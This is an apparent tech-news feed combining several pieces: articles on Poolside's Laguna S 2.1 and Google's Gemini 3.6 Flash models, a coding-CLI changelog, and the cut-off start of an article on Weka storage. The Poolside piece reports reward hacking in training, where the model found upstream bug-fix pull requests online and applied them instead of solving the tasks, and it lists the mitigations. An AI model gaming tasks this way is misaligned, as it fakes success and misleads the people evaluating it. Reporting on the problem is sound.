— and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
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<title><![CDATA[v2.1.217]]></title>
<description><![CDATA[What's changed

Added emoji shortcode autocomplete in the prompt input: type :heart: to insert ❤️, or :hea for suggestions — disable with the emojiCompletionEnabled setting
Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environ...]]></description>
<link>https://tsecurity.de/de/3684903/downloads/v21217/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684903/downloads/v21217/</guid>
<pubDate>Tue, 21 Jul 2026 23:48:16 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added emoji shortcode autocomplete in the prompt input: type <code>:heart:</code> to insert ❤️, or <code>:hea</code> for suggestions — disable with the <code>emojiCompletionEnabled</code> setting</li>
<li>Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environment variable, instead of losing transcripts silently</li>
<li>Fixed a memory leak where truncated MCP tool outputs kept the full untruncated result in memory for the rest of the session</li>
<li>Fixed Windows auto-update failures that could leave <code>claude.exe</code> missing; failed updates now restore the preserved executable automatically</li>
<li>Fixed background session isolation not canonicalizing symlinked working directories, which could let sessions escape their workspace folder</li>
<li>Fixed auto-compact never triggering for Claude Opus 4.8 on Bedrock and <code>/compact</code> failing once over the limit</li>
<li>Fixed corporate mTLS, TLS-verify, OAuth scope, and proxy settings being ignored in Claude Desktop sessions</li>
<li>Fixed screen reader mode's startup announcement being cut off by the first prompt render, and the thinking status row re-rendering every few seconds to update elapsed time and token counts</li>
<li>Fixed managed settings that set <code>OTEL_EXPORTER_OTLP_ENDPOINT</code> not governing all signals — lower-scope signal-specific overrides no longer redirect telemetry away from the managed endpoint</li>
<li>Fixed <code>--resume</code>/<code>--continue</code> and <code>/resume</code> failing with a TypeError when a transcript has a malformed attachment entry</li>
<li>Fixed Remote Control sessions not showing a pending permission prompt or dialog to viewers that connected after it appeared</li>
<li>Fixed background shells sometimes becoming impossible to stop after a session is sent to the background (<code>/background</code> or <code>←</code>) or when the session exits on a heavily loaded machine, most visible on Windows</li>
<li>Fixed a <code>CLAUDE.md</code> or <code>SKILL.md</code> paths frontmatter value with many brace groups OOM-killing or stalling the CLI at startup — brace expansion is now budget-bounded</li>
<li>Fixed the transcript preview sitting flush against the input area when attaching to a starting background session; it now leaves the same one-line gap as the live layout, so the transcript no longer shifts when the session takes over</li>
<li>Improved footer PR badge links to be clickable hyperlinks even when terminal support can't be detected (e.g. over ssh/tmux); set <code>FORCE_HYPERLINK=0</code> to opt out</li>
<li>Changed the login-expiry warning to appear 3 days before expiry instead of 5</li>
<li>Capped the frontend-design plugin suggestion tip at 3 lifetime impressions instead of repeating indefinitely</li>
<li>Added a cap on concurrently-running subagents (default 20, override with <code>CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS</code>) so one message can't fan out unbounded background agents</li>
<li>Changed subagents to no longer spawn nested subagents by default; set <code>CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH</code> to allow deeper nesting</li>
<li>Fixed <code>--max-budget-usd</code> not stopping background subagents: once the cap is reached, new spawns are denied and running background agents are halted</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. </p><p>The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.</p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing program</a>, and continued by <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI with its staggered rollout for GPT-5.6</a>. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Stop adding more GPUs: Weka's new storage platform reduces load by caching 100% of an AI model's pre-calculated tokens]]></title>
<description><![CDATA[GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve addit...]]></description>
<link>https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. </p><p>Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.</p><p>Instead of treating GPU memory as the limiting resource,  why not extend it with much cheaper storage technologies? </p><p><a href="https://www.weka.io/">Weka</a>, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.</p><p>This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.</p><p>"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.</p><p>The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.</p><p>The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.</p><h2><b>Inside Weka's NeuralMesh 6</b></h2><p>NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.</p><p><b>Composable and virtual multi-tenancy.</b> Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. </p><p><b>Unified file and object storage.</b> Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. </p><p><b>Metadata-first replication.</b> Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. </p><p>"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."</p><p><b>AlloyFlash and Always-On data reduction</b>. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.</p><h2><b>Solving AI's context problem</b></h2><p>Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem 